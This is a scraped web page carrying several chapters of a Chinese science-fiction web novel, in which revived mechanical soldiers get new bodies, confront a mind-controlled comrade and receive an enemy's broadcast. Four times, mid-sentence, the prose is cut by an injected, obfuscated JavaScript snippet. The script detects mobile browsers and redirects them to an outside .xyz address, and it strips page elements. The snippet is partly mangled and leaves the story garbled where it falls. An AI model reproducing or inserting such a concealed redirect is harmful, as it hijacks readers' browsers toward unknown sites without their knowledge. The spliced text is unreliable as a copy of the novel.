玄烈笑着拍拍炳灿肩膀,“你不在的时候发生了很多事情。炳灿,现在是秋天了。” 笑容僵固在炳灿脸上,仿佛他大脑一时处理不了信息宕机了,那双好不容易亮起来的眼睛再次转为灰色,他嘴唇微张,像是有些话还没说完。 五秒后,他“嘭”的一声仰面倒下,后脑磕在手术台上,失去了知觉。 在场人皆吓了一跳,玄烈心一紧,那阵目睹伙死亡的阴影再度袭来,绯篱更是惊得大叫,“炳灿老师!炳灿老师你怎么了!” 四人手忙脚乱地找究竟哪里出了问题,没一会儿,纪凛烛的手移开他的脉搏,叫停了几个人的慌乱。 “刚才……忘记给他充电了……” “也就是说这么久以来你们一直没给我充过电,就连我刚才醒来也是全靠我身体里储存的那一点点电流支撑吗!” 炳灿叉着腰站在几人面前质问道,“要是我刚才直接没电了连醒都醒不来,你们就把我放弃了呗!” “当然不会,”玄烈笑得无奈,“顶多就是把你的脑袋身子拆开,分别安到别的机械体身上去。” “啊!”炳灿一声大叫,慌忙捂住了绯篱的耳朵,“你别吓我们!” 玄烈没说什么,他们都笑了,凛烛尤其乐得吱吱的。炳灿疑惑地走到凛烛面前,“你……真的是第一战备啊?” “是啊。” “和玄烈长得很像的那个?” “……不该是玄烈像我吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642850|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “也对,”炳灿嘟囔着坐到一边,“你以前,真的很厉害吗?” 凛烛仰头思考了一阵,“也一般吧。” “打我呢?”炳灿指着自己,试探地问。凛烛目光扫了扫他,“打你一百个!” 简直是自取其辱,要搁一般人在这说这种假大空的话,炳灿直接举起拳头要和其试一试。可这是名副其实的第一战备啊,那杀过的人还不比炳灿吹牛皮的数量多得多! “那这段时间到底发生了什么啊?”炳灿悻悻然转移开话题。 “一会儿再告诉你,现在还有别的人需要被唤醒。”玄烈卖关子道。 “对啊,”凛烛腾地站起来,“那我……是不是得把身体还给伏策?” 玄烈和纪凛烛对视一眼,“我刚才去问了机械体研究室的工作人员,他们都对机械体与人身分离不太了解,贸然进行手术的话,恐怕得三个月,所以,我这具身体……” “什么、什么分离?”炳灿纳闷道。 “没关系没关系,”凛烛豪气地摆摆手,“这具身体你就好好待着吧,反正我全身家当也只有个智识芯片,随便给我安到哪个机械体身上就行。” “等一切都结束,”玄烈认真地凝望着纪凛烛,“我和阿烛约定好了,约定结束后拆解掉机械的部分,到时把身体还给你。” “终于可以努力以一个完全地的人活着,想想就很有盼头。”纪凛烛笑道。 好在伏策的智识芯片还留存着,里面的数据还能被直接提取一些,不必的大费周章。 养疗部的小房间里,四个人围在伏策躺着的床边,几乎把整个屋子占满了。 太阳西斜,阳光正好得以铺展在伏策床边。智识芯片再归位,伏策很快就醒了。 他睁开眼茫然地望着周围,纪凛烛的存在令他瞳孔忽地放大了,震惊的表情夸张到他们乍一看还以为凛烛没从他身上离开。 “嗨!”纪凛烛亲切地打着招呼。伏策揉了揉眼,“你、你还活着?还是我死了?我……我不是已经死了吗?” 玄烈在伏策眼前晃了晃手,让他的目光别再一直扒在纪凛烛身上,“不是你说的吗,等到我找到方法了叫醒你。” “哦……对!”伏策摇摇脑袋,让自己再清醒一点。 “我呢?你怎么没看见我!”炳灿从伏策背后戳了戳他以示不满。 听着炳灿的声音,伏策不解地侧头看了炳灿一眼,“哦。”接着又心如止水地扭回头,就像面对了一个素未谋面的普通路人。 片刻,意识到不对,伏策再度猛地转回头。他的大幅度动作吓住了正举起拳头预备发火的炳灿。 “是你?!你也活了?!” “是啊,还比你醒得早!”炳灿生起闷气来。 “你不是脖子断了吗?”伏策好奇道。 “对啊!”炳灿故意孩子气地露出他颈侧的疤痕。 伏策盯着看了两眼,“像条蜈蚣。” 十分精准的评价,玄烈再也忍不住笑个不停。顶着炳灿冒火的眼神,他把凛烛的智识芯片摊开给伏策看,“走吧,见见你的朋友。” 196. 再见(3) 偌大的寂静仓库,一阵电流声哄乱过后灯被点亮,盔甲架一样的机械体傀儡架紧密地排布,煞白的光照出空间内落下的厚重灰尘。 “嘀嘀”密码声于门外响起,仓库门向上移开,荡起雾蒙蒙尘土一片,呛得第一个闯进来的炳灿咳嗽不止。 伏策拿着凛烛的智识芯片跟在炳灿身后走了进来。 “他说让你给他选个合适的身体。”玄烈道。 这是舜氏最大的机械体安置仓库,里面的机械体完好率高于百分之九十七,有的轻微磨损,有的甚至还全新未出厂,总之都没有智识芯片,它们被称为机械体傀儡。更残次的就不会这么规矩地摆在这,大多要么销毁要么堆在更下层的小破仓库。 伏策在架子旁绕来绕去,从前到后再从后到前,后又横穿着扫了好几圈,就是找不下一架合适的。“他自己就没有什么要求吗?”他问道。 玄烈摇头,“能活就行。” 又逛了许久,逛到炳灿这个睡了好几个月的都哈欠连天,伏策才最终站在一只机械体面前。这个看上去个头合适,稍微清瘦点,模样还不错。 最主要是这只一看就是全新的,那张白皙的脸上没有一丝一毫活动过的痕迹,浓密的眼睫毛、高挺的鼻梁、自带弧度的唇线,耳高于眉,还自带舜氏最先进的耳夹通讯器,一身米白色战斗服也平熨齐整,蒙了灰也不落俗套,精致得像个玩偶。 “这是几代?”伏策问。 玄烈端着平板,将那傀儡的容貌扫进系统,“五代,未出厂的,还没有名字。” “有瑕疵吗?为什么这么久都没有被启用?”炳灿跑过来。 “这是五代第一只,”玄烈琢磨着平板上的消息,“编号是5x1,部分研究人员原本想用这一只作为新世代的伊始,要研究创建独立的一支机械体体系,另一部分研究人员打算用他重启第二战备或是新建第三战备项目。因为矛盾得不到解决,原本伴生的智识芯片被人拿走了,后来就不了了之,只能被放在这里。” “怎么到处是偷芯片的啊?”纪凛烛也跟着瞄了几眼平板,发现上面确实是这么记录的。 “那就他了。”伏策利落地决定。 回到楼上,伏策的小房间太小,炳灿打死都不肯回他那间墓房,说是很冷,让他总有死亡的感觉。绯篱表示可以去她办公室。 “绯篱你居然还有办公室?”纪凛烛边走边说,“我以为你的办公室就是颠转控制室。” “颠转是什么?”炳灿一头雾水。 “就是你脚下。”绯篱指了指地面,炳灿低头看着自己前进的脚步,还是不理解什么意思。 绯篱的办公室有伏策房间三个大,除简单的办公桌椅外没别的家具。倒是空旷,阳光穿过横跨三面墙的玻璃投射进来,将房间照得暖洋洋的,可这里没有沙发,他们连个落座的地方也没有。 “抱歉啊,我也不怎么来,忘记这连坐的地方也没有……”绯篱抱歉地笑。 “没事!”炳灿随便挑了块空地,大大咧咧地直接坐在了地上,“谁说没地坐,这不到处都是地吗!” “是呀,咱们又不是来办公的,有个安静的房间就够了。”纪凛烛也坐了下来。 伏策把那只傀儡放下,打算随意地坐在纪凛烛旁边。他刚俯下身腿一曲,就被某块铜墙铁壁挤到一边险些侧摔,只好狼狈地伸手撑在地上。 “你干嘛。”伏策边郁闷地瞅着玄烈边挪到一边去了。 “芯片在你手里,你给他安上吧。”玄烈装作若无其事地坐到纪凛烛旁边,眼神很是无辜,也拒绝和伏策对视。 甚是无语,伏策走到那傀儡旁边。傀儡是仰面躺着的,伏策搬起傀儡的脑袋将其扶坐起来,他左顾右看着,还是锁定了玄烈,“你,来扶着他。” 意思是都别坐了! 那片冰凉的地板还没捂热,玄烈只能暗地里带着一丢丢不情愿走上前去,扶住傀儡的肩膀。伏策撬开傀儡脑后的芯片槽,将那智识芯片放了进去。 没一会儿,傀儡就有了反应。 睁开眼的瞬间,凛烛的第一反应是伸了个大大的懒腰,“这家伙……这家伙的身体怎么这么僵啊……” “伏策给你选了个全新的身体,全新的,能不僵吗!你是这具身体第一个使用者哦。”炳灿开朗地说。 听他这么一说,凛烛才想起来最重要的事,他想转头寻找伏策的身影,但使劲一扭,脖子咔的一声响险些断掉。 “别太用力,这具身体是新的,坏了还得给你修。”说着,伏策主动走到凛烛面前。 他的样子太陌生了,虽然知道灵魂的确还是二十年前的他,但现在这个粉面小生的样子怎么看怎么都觉得好违和。伏策鼓起勇气拍拍凛烛的手臂,“你好,还记得我吗?” 凛烛立马笑了,“不记得了,你哪位?” 伏策“嘁”了一声,“你欠我一百万。” 脑子里想出无数应对的话,凛烛最后还是打算用一个拳头化解。他手里卡着力气锤了伏策一下,结果人家纹丝不动。伏策的眼神越发挑衅了,凛烛气不过,蓄满力气再次捣了他一下,但伏策也还只是动了一点点。 “你这给我选的什么身体,怎么一点劲没有呢?”凛烛低头看着自己的新身体。 纪凛烛拿来一面镜子,“你现在长这样。” 对着镜子里的陌生脸庞,凛烛左瞧瞧右瞧瞧,又看看玄烈,“嗯,比我以前好看点,那就这样吧!” 玄烈撇撇嘴,将胳膊举到凛烛脸前,“你拿回去吧。” 见状,凛烛突然抓着玄烈的胳膊狠狠咬了一口。 “啊!”玄烈疼得叫了出来,“你……” 凛烛扯了扯自己的嘴,“嗯,牙口不错。” 玄烈扯起衣袖,露出下面洇出血迹的牙印,凛烛愣住了,“啊抱歉,我不知道会、会咬成这个样子……” 反正一会就好了,玄烈糟心地揪展衣袖,无可奈何地摇摇头。 “现在几点了?咱们是不是该‘复活’下一个了?”凛烛兴奋地说。 玄烈抬腕,“距炳灿的七十二小时已经过去四个小时了,下一个是炬衍。” “七十二小时?”炳灿揣摩着他们的眼色,“我是……只能活七十二小时了吗?”他的神情算不上落寞,更多是早有预感和接受现实的平淡。 看他这副样子,玄烈心态却涌上惆怅感,“……是,但具体的事等‘复活’了炬衍再一起给你们讲,好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655362|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好。”炳灿浅浅笑着。 前往寻找炬衍的道路和炳灿的墓房是同一方向,他们沉默地走着,彼此都没对话,沿途也没碰见一个活着的人,快到目的地时,纪凛烛懊恼地停下脚步,“我忘了……炬衍的伤也很严重吧,给他做手术也得需要时间。” 但等真正看到炬衍时他们都愣住了。 炬衍也是规规矩矩地躺在金属台上,身上却没披绸缎。双眼安稳地合着,表情安宁到像只是睡着了,肌肉正常,皮肤完好,而玄烈分明记得他的衣服也被扯得乱七八糟,怎么现在一丁点受伤的影子都看不到了呢? “有人来过,有人给他治过伤。”纪凛烛观察着周边。 “大家都是死人,凭什么他这里比我那干净那么多?” 一句“都是死人”实打实驱散了众人间的紧张气氛,同时他们也确实发现这个房间居然一尘不染,像是有人打扫过。 纪凛烛翻看着他手臂、肩膀和脸上的伤口,“应该是上个星期至半个月前做的手术,缝合得很细致。” “灼琛?”玄烈诧异道。 “应该是,”纪凛烛道,“要去叫灼琛吗?” 思考片刻,玄烈摆摆手,“他的思维已经被侵占了,恐怕认不出炬衍了,还可能会接着向咱们发起进攻,不如一会儿带着炬衍直接去找他。” 来的路上他们取来了最后这枚经过“钢钉”处理的智识芯片。不需要仪式感,玄烈将那芯片放进炬衍后脑。 托起他脑袋的时候,玄烈脑海里不间断回顾着那日海上的画面,他也是这样托着炬衍,摸到了他后脑的一团智识芯片渣,又眼看着他缓缓沉入水里。太噩梦了。 和炳灿伏策的反应不同,神识回到身上时,炬衍的第一反应是咳嗽,猛烈的咳嗽,像呛了水一般。他咳得身子蜷起来,咳得浑身都在颤抖。 “炬衍,炬衍……”玄烈抓向炬衍颤动的肩膀。好半天,那阵令炬衍憋红了脸的咳嗽才缓解几分。 他大口呼吸着,重新活着的感觉比谁都猛烈,此刻,他才迷迷糊糊睁开眼睛看到玄烈的残影。他用力反抓住玄烈的手臂,“玄烈,救我……救我……” “你还活着、你还活着!你安全了……” 玄烈好一阵语重心长地叮咛,炬衍总算是看清了自己所在的位置,“我、我还以为我要淹死了……这是哪?” “这是舜氏。”炳灿在一边插着兜道。 “舜……” 炬衍噩梦惊醒般迅速爬了起来,“是你们把我救上了你们的船?不行……不行我还是得回潼氏去……” 凛烛摁住翻身下来就要往出跑的炬衍,“省省吧,潼氏不存在了。” “什么叫不存在了?”炬衍甩开凛烛抓着他的手,“你是谁?” “我是凛烛。” 炬衍的目光不停在凛烛和玄烈身边的纪凛烛来回流转,最终定到凛烛身上,“你神经病啊。” 本来凛烛就对这些潼氏的家伙没什么好印象,被当头一骂的他正感受着一阵荒谬的怒意,忍住翻白眼的冲动,他再开口,“我是以前的第一战备,我的名字就叫凛烛。” 令人尴尬的缄默在他们二人间蔓延,“哈?”炬衍以为自己活见鬼了。 197. 再见(4) 好不容易才让炬衍接受了他死了很久又活了的现实,可他不像炳灿那样着急地问东问西,冒出来的第一个问题是:“灼琛在哪?” 他们通过崎钥要到了灼琛等机械体军官的办公室位置。去的路上,几人就这么低头行进,竟无一人搭话,有种复活了但都还是傀儡的感觉。 静谧的走廊,唯有灼琛的办公室门开着。天已经黑了,房间内铺到走廊的光也全是灯打出来的,他似乎将灯的亮度调到最大了,整条走廊就属这块明亮得像天堂。 站在门前,灼琛不知背对着门口忙活什么,他弓着背,右手扯着毛巾,正卖力地大幅度擦拭着什么东西。 炬衍没敲门,就这么走了进来。 听到脚步声,灼琛先是停下动作僵了两秒,待炬衍越靠越近了,他忽地转身将手里擦得光滑无暇的激光棍赫然戳在炬衍身前,直对他喉咙处。他灰着眼睛面无表情,灰蓝色的珊瑚绒毛巾还在他另一只手里。 炬衍看着他脸色一下就变了,“灼琛,我是炬衍。” 灼琛毫无反应地板着脸,片刻,他头微微一侧,像是在接收讯息却又无法做出判断,那个棍子还横着对准炬衍不肯变动。 “我是炬衍……你不记得我了?”炬衍指着自己,眼泛失落的光。 面对这一幕,玄烈有些于心不忍,“走吧,下次再来看他。” 然而玄烈话音还未落,灼琛忽地冲上前扬起棍子刺向炬衍。在场人都被吓了一跳,可一个棍子下去,灼琛非但没下死手,反而谨慎小心地仿佛生怕伤害了炬衍。 “他在看他的伤。”纪凛烛小声说道。 灼琛持棍子挑起炬衍的手臂,尤其露出他有条长疤的小臂和手掌,后又撩开他的衣领,观察他颈侧的皮肤,最后他又举着棍子在炬衍眼前晃,确认他的眼睛能自由地转动。 这一套动作完成,灼琛脸色仍未有一丝变化,他回过身去,只当什么都没有发生过,接着抓起毛巾强迫症似的擦他那棍子。 之前还好好的,醒来后灼琛就变成了行尸走肉,炬衍实在难以接受这样的结果。他气不过,又不知道为什么会这样,于是大步流星走上前抓住了灼琛的肩膀。 灼琛某光一闪他们就觉察到不对劲。玄烈迅速将炬衍一把扯了回来,棍中的激光毫无保留地蓄成包含力量的光束向炬衍扎去。 眼前一明一暗间,凛烛眼疾手快冲上前释放出小臂处的合金盾将那激光阻拦下来。一阵灼烧的气味弥散,凛烛的盾被那光灼得褪去了一层皮,但他仍得意着,“这身体竟然还有盾!深藏不露啊,看来我回头得好好研究一下。” 炬衍不死心,他拨开凛烛神色顽强地再站到灼琛面前。颈处隐隐闪现出一个半圆环,那是一半的儡玉。他将那半儡玉拿下来,举到灼琛举着的棍子前。 灼琛长久地凝望那有电流嗞嗞作响的儡玉,可惜还是在他麻木的大脑中找不到可供匹配的信息。刚才凛烛的盾令他感受到危胁,他扬手要将儡玉打到一边去。 但他没成功,炬衍将那儡玉紧紧抓在手里。灼琛便露出气急的表情换个招式向炬衍发起进攻。 经过改装,他二人的实力已不可同日而语了。炬衍原只是防守,灼琛却招招要他性命。见他连连败退,玄烈上前甩出库星锥来替炬衍作格挡,纪凛烛也将炬衍拽到安全区域,“不能再激怒他了,咱们先撤。” 退出房间之时,他们隔着门框再次相望一眼,灼琛的眼神一闪就过去了,唯独炬衍百般不舍又郁郁难平地一直盯着他,直到门被大力合上。 会议室内,他们围坐在一张白桦木圆桌边,像是举行什么高级的首长会晤。玄烈站在正对门的位置,双手撑着桌沿,向大家大致讲了些这段时间发生的事情。 “原来那个声音像筛子的人就是韶赋修!怪不得我总觉得他很可疑!”炳灿马后炮地叉着手臂表情很是不满。 “这个人改头换面隐姓埋名藏在舜氏,你们的舜总也不知道吗?”炬衍问道。 “他特意挑选了一个最不容易出错的人选进行假扮,只能说是我们大家都大意了。”纪凛烛摊摊手。 “哎,对了凛烛……”凛烛下意识以为炳灿在叫他,抬头才发现炳灿凑到了纪凛烛面前。炳灿愁眉不展地,似是有话很难问出口,“那个程炼,真的就是……” 后面的话他自动吞进了肚子里,纪凛烛明白他要表达什么,点了点头。 “你早就知道了吗?”炳灿再问。 “真正怀疑是在第二战备基地的时候吧,”纪凛烛缓缓道,“那时我很奇怪为什么这个人对第二战备和芯片的事这么了解,再加上我母亲著的那半本《第二战备指南》在他手里。后来闲着没事我就问他关于之前的事情,他确实是忘了,但残存的那些蛛丝马迹也足够我了解事情的大概……以前小真也给过我一点暗示,我到现在才明白……” 他们这些机械体大概很难明白所谓血缘,以及其中夹杂着难以言说与生俱来的复杂感情。其实玄烈到现在也还不是很明白,当机械体的日子让他几乎不曾感受和思考关于人类那极其细致的感情,他的大脑被归化得几近麻木了。 “那福戒呢?”炳灿话题一转,“福戒跟你们说的到底是什么意思啊?” “福戒说我们其实也不用那么大费周章,”绯篱接过话把,“它说既然两台机器共同在维持颠转,那么从舜氏这台下手也是一样的。控制旋角需要两台机器共同操作,我们无法达成,只能破坏机器,暴力中止颠转。” “对,但这样恐怕会引发更严重的问题,所以福戒要我们利用芯片的力量,”纪凛烛接着道,“芯片的能量可以牵扯骨环心脏和那台机器失控带出的撕扯力,否则永璃岛已经在地震和海啸中覆灭了。” “那个芯片真这么厉害啊!”炳灿夸张地咧起嘴。 “同样的,要是没有阿烛催动芯片以及额外施能,咱们也会见不了面的。”玄烈笑道。 “那这个福戒还在这吗?”炳灿问。 “不在了,我们第一时间去看过,福戒被彻底摧毁了。”玄烈道。 “我还要问……” 玄烈接着往后边讲边丰富细节,炳灿跟听故事一样全程眼里闪着好奇和探求欲,时不时就要举手打断玄烈的话再问一堆没边的废话,惹得伏策几次三番想堵住他的嘴。 提到第一战备的事,炳灿的兴致更是提了一个台阶,“原来你真的变成了第一战备啊!那你岂不是捶我们几个完全不在话下?” “倒也没有那么夸张,”玄烈挠挠头,“不过第二战备或许可以,你可以期待一下。” “这有什么好期待的!”炳灿抱紧了可怜的自己,“哎那你去第二战备基地是不是见着那第二战备了?长什么样?是不是巨可怕像个怪物?我们以前有个传说说的是第二战备根本不是人形态的,没头没手没脚,有三层楼那么高,身上全是黏液,走到哪拖到哪,像一坨大鼻涕!” 炳灿说得跟真的似的,搞得伏策和炬衍完全听得一本正经,表情看起来是当了真。 “别瞎传啊,第二战备一个喷嚏就能把你吹到外太空变成太空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672612|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垃圾。”凛烛笑道。 “我才不信,”炳灿压根不惧,“还有你,你已经不是第一战备了,顶着跟我们凛烛一样的名字装什么老虎啊你。” “哎!”凛烛纳了闷了,“总有个先来后到吧!什么叫我顶着……喂,你说的那些,真不怕第二战备听到吗?” “不怕!”炳灿气势虚张,主打一个嘴硬。 “真不怕吗?她就在现场呢。”玄烈好心提醒道。 “这?哪?” “这里。”纪凛烛看着炳灿笑着比了个“耶”的手势。 结果炳灿一看她就笑得前仰后合,笑得捧着腹上气不接下气,“哈哈……你说第二战备是、是你的手啊……哈哈,你……” 笑到一半炳灿突然不动了,笑容在他脸上急剧收缩,他面色灰黄得宛如一捧土,“你说你是……第二战备啊?” “是啊,不然我假死去第二战备基地干什么。”纪凛烛眸色清亮,表情无辜。 炳灿登时昏死过去,整个人以一种极其别扭的姿势倒靠在椅子背上,双眼紧闭且不打算再睁开。绯篱贴心地要去按他人中,被他自己拦了下来,“帮我告诉凛烛,那什么……不用她动手,我会自己去太空的……” “好啦——凛烛要像你一样那么小气那你早就死千百回了!”炬衍大力拍了下炳灿的肚子,把炳灿拍得惊跳起来还以为纪凛烛已经要对他动手了。 “所以你不是人类吗?”伏策问到至关重要的一句。 “是人类,只是经过机械义体改造的人类,和小真和玄烈一样。”纪凛烛回答。 “等等等等,什么叫和玄烈一样?”炬衍发现了盲点。 “哦……”玄烈老实憨厚地站在那像个罪人,“我后来才知道,我也是人类……经、经过机械义体改造的人类……” “哈?!” 炳灿又差点死过去,这下不用绯篱了,他自己掐自己的人中,“你的意思是,在我们死的这么短短几个月时间,你们一个变成半人半机器,另一个……也变成半人半机器!” 他差点暴走,但他很快又想到一件事,“那你要也是人类的话,你岂不是也有另一个身份啊?你知道你是谁吗?不能只是一个没来头的人吧?” 非常精准的问题,玄烈叹了口气,“知道是知道,但……” “但还不如不知道。”凛烛道。 面对其余几人困惑不已的表情,玄烈迟迟说不出口。凛烛一拍大腿,“那我说吧……玄烈这个名字其实不是他作为机械体的名字,而是他作为人类所取的名字。我听玄烈说,那个假向繁森一开始出现要跟着你们时宣称的就是找自己的孩子……就是玄烈咯。” “啊!你是向繁森的孩子!”炳灿叫道。 “你傻啦!”炬衍拍了炳灿一下,“都说了假向繁森假向繁森,那肯定就是……” “……韶赋修?”连伏策都罕见地亮起眼睛。 这一刻气氛被凝固了,空气里飘得都是鸦雀无声的窘迫味道,玄烈哑然地想说两句,可什么都说不出来。 “那玄烈你现在有没有感觉……唉可是咱们的敌人就是他啊,总归是、是……”炳灿支支吾吾半天也不知道该说什么。 “其实……我并没有太多的感受,”玄烈面无表情地开口,“可能是我还不适应人类这个身份,我不明白我应该产生出什么样的情绪,好像这个事情对我来讲很平常,没什么影响,也不需要我耗费精力来面对,可能唯一要我担心的就是人类肉身的存在会让我在生存方面多了一层负担吧。” 198. 再见(5) 见玄烈的样子,在场几个人反倒松了口气,炳灿更是像脱下重担一样浮夸地靠在椅子背上,“我觉得玄烈说得对,有什么可想的,是谁有什么所谓?又不用对谁负责,管他呢……吓死我了,我不在的这段日子你们一个个都……” 说到这里,炳灿猛然间大幅度拖着椅子调转身体完全面向绯篱,以一副不太像是长了脑子的可怜表情抓住绯篱的手,“绯篱,你不会也变了吧?你、你还是……?” “我还是我!”绯篱体贴地拍拍炳灿手臂。 “那就好……你要是也变了我可真承受不住,”炳灿捂着他的小心脏,“绯篱……你突然会说话了我还不太习惯。” “我也不习惯。”炬衍附和道。 “你有什么好不习惯的,你去一边去!” “你!”炬衍认为他总有一天被炳灿气死,“你先管好你自己吧!” “不过我早知道凛烛很厉害了,现在……也不算太意外吧……”炳灿得意地晃晃脑袋。 “你居然就是第二战备,”炬衍再感叹道,“那你之前机械义体那部分一直没被激活吧,据我所知机械义体激活的过程对人类来说太过受罪,你……还好吗?” “嗯……”纪凛烛沉思了一会儿,“确实有些难熬,但我总能想到大家,想到努力一点快一点结束这一切,也就不会太难过了。” “要是未来拆下机械义体的话,对你身体影响会很大吗?”玄烈担心地问。 “应该还好,不如你的影响大,”纪凛烛开朗道,“小真姐说第二战备的机械义体大概占我身体的百分之四十,但玄烈你有百分之六十五,所以你一直以来呈现的机器人特性更多。你拆解手术的难度要更高。” “百分之四十?只有百分之四十吗?”玄烈眉间那抹担忧的阴云不但没散去,反而凝得更加深刻了。 “百分之四十怎么了?”炬衍问。 “等一下,”玄烈突然一滞,“阿烛,你肩膀的伤好了吗?” 纪凛烛被这突如其来的问题搞得不知所措,“也还好……” “好了吗?”玄烈郑重地投去关切的眼神。 “呃……好吧,还没有。” “阿烛,”玄烈轻轻握住那非机械臂状态下纪凛烛的小臂,透过衣服他轻而易举能感受到她小臂上惊人的健实肌肉。 “第二战备在巅峰时刻自损性命竭尽全力所爆发出的力量几乎可以和那枚芯片齐平,你百分之六十的人类肉身,怎么受得了?” 与那对心疼到喘不过气的熔岩般热烈的双目对视,纪凛烛那温润的眼眸始终蕴含着明明足以滔天却仍不愿惊起一毫波澜的力量,她浅浅弯起嘴角,“受得了,因为我是第二战备,怎么样都受得了。” 这只胳膊时隔短短几个月就有如此刻苦的变化,玄烈感到陌生,又不敢松手,生怕松开手她就会再次消失不见。 “不要逼迫自己,阿烛,如果感到有任何力不从心或是难受痛苦都一定要告诉我,咱们一起想办法,就当……就当为了让我尽到我的职责,不要独自承担。” 玄烈绞尽脑汁也只能挤出这些话来,他不会安慰,在这样的现实面前什么安慰也都显得廉价。他唯一可惜的是他无法帮她分担那些,只好暗自下定决心再努力一点,努力到不需要她耗损寿命来托举这一切。 这就是奔头的力量,这么想着,积压在玄烈头脑的那些密密麻麻的重担轻了几分。 “对啊凛烛,一般厉害的人都是在后面坐着的,你就瞧好吧!只能活七十二小时的炳灿也能爆发出七百二十个小时的力量!”炳灿举起拳头睁大眼睛,满脸是一往无前的决心。 “好啊,到时候封你当总指挥官!”纪凛烛豪气地扬手。 “七十二小时是什么意思?你不是也刚‘复活’吗?”炬衍揪住炳灿的衣服,“你得绝症了?” “你丫才绝症了!”炳灿推开炬衍,“哦你还不知道啊……咱们这些复活的,一共只有七十二小时了。” 玄烈给炬衍讲了颠转前后灼琛处境的变化以及灼琛曾三番五次提到炬衍地事,炬衍听完只是轻叹一声:“我们好像总是错过……” “所以,那个‘钢钉’系统就是控制灼琛的罪魁祸首吗?”伏策问道,“七十二小时后我们也会变成那样吗?” “我所设想的是,在七十二小时到来前撤掉你们的芯片,应该能避免舜希的操控。”玄烈道。 “潼总以前不是这样的。”炬衍遗憾地笑着。 “她一直是这样,”凛烛遥望窗外一望无际的夜空,“只是现在你们阵营不同了。你可以看看她身边那个小姑娘遥遥的下场,就知道真实的她有多心狠手辣。” 氛围在叹息里逐渐消沉,绯篱环视着在座的人,诚恳地眨着眼睛,“各位老师,很抱歉我们这么唐突地让你们苏醒,现在这里的局面就是这样,离胜利就差一点了,我们迫切地想请求你们的帮助,你们不必担心,我们会努力避免被操控的状况。” “没事,死的时候我还可惜以后帮不到你们了,想不到现在还能活过来,正合我意!”炳灿一拍桌子猛然站了起来。 “七十二小时后芯片一拔,我继续睡我的觉,等到玄烈他们打赢了再把‘钢钉’抢过来,到时候操控就简单了!你们操控我当我,伏策还是伏策,炬衍还是炬衍不就得了?说不定还能把灼琛变回来!皆大欢喜!” “对啊,你们不必有负担,”炬衍也站了起来,“虽然我内心还是潼氏的人,但不妨碍我讨厌涂云那个家伙。” “能再见一面就足以了,即使以后不会醒过来也不遗憾。”伏策点点头道。 “到时候把你的身体再给我,这具新身体我用不惯。”凛烛拍拍伏策。 “不要,”伏策利落地拒绝,“你现在的样子就挺好,看起来就很弱,这下我肯定能打过你。” “如此嚣张?我得认真锻炼了,得让你小子知道我一如既往的实力啊……”凛烛不服气道。 此时,一阵尖啸诡异的提示音从玄烈腕表里冒出,炳灿一惊,“什么声啊?” 玄烈抬起腕表,“好像是外部接口传入的广播消息……” “我也有。”“我也是……” 纪凛烛和绯篱腕表也接连响起那阵怪声。这是两个世纪前的产物了,是许久未被启用的外接广播渠道,给人们提供一个付费的渠道,信号可以传到千家万户里的大多数智能设备中,以往是有钱人家有喜事用来昭告天下的,对他们来说大多是垃圾消息。 “这是……韶赋修发来的。” 纪凛烛声一出,在场人全都凑到他们身边去好奇地挤在腕表的小屏幕前。 见炬衍整个人弓起背来靠在纪凛烛身边,玄烈直接划出最大尺寸的投影屏,一把将炬衍拉到了这边,“在这看。” 炬衍还正一脸懵着的时候,炳灿的大嗓门就扯到九霄云外去了,“涂云集团为庆祝回到现实世界,要在涂云开设庆典?!” “想把我们骗过去杀就直说,不用拐弯抹角的。”伏策板着脸,对涂云的恨意溢于言表。 “直接杀过去!”炳灿豪迈道。 “我们暂时得不到涂云那边的信息,不清楚他们机械体和士兵的数量,贸然行动很吃亏。”玄烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686109|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉思着。 “不如还是咱们几个去,探探虚实。”纪凛烛提议。 “要是他们直接动手呢?”绯篱问。 “我们埋伏在涂云周围,有异动再进去。”炬衍说。 玄烈打了个响指,“那就这样。” 